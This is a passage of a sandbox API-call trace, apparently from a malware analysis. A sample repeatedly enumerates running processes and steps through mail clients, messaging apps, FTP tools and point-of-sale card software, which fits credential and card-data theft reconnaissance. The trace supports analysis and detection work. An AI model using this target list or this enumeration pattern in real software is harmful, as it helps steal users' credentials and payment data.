(in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0278.602] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0278.604] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0278.642] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0278.671] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0278.676] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0278.678] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0278.680] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0278.683] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0278.685] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0278.687] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0278.689] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0278.692] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0278.694] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0278.696] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0278.711] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0278.713] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0278.715] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0278.719] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0278.722] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0278.724] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0278.726] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0278.728] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0278.730] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0278.732] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0278.735] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0278.737] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0278.742] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0278.745] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0278.747] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0278.749] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0278.751] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0278.753] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.755] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0278.757] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0278.759] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0278.761] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0278.763] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0278.765] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0278.767] CloseHandle (hObject=0x21b0) returned 1 [0278.767] Sleep (dwMilliseconds=0x64) [0278.769] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21b0 [0278.818] Process32First (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.821] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0278.824] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0278.827] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.829] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0278.831] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.833] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0278.835] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0278.837] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0278.839] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.840] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.853] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0278.855] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.857] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.859] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.861] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.863] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.865] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.867] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.870] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0278.872] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0278.874] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0278.876] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.878] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0278.880] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0278.882] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0278.884] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0278.887] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0278.889] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0278.890] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0278.892] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.895] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0278.897] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0278.899] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0278.901] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0278.903] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0278.905] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0278.907] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0278.909] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0278.911] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0278.913] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0278.915] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0278.917] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0278.919] Process32Next (in: hSnapshot=0x21b0, 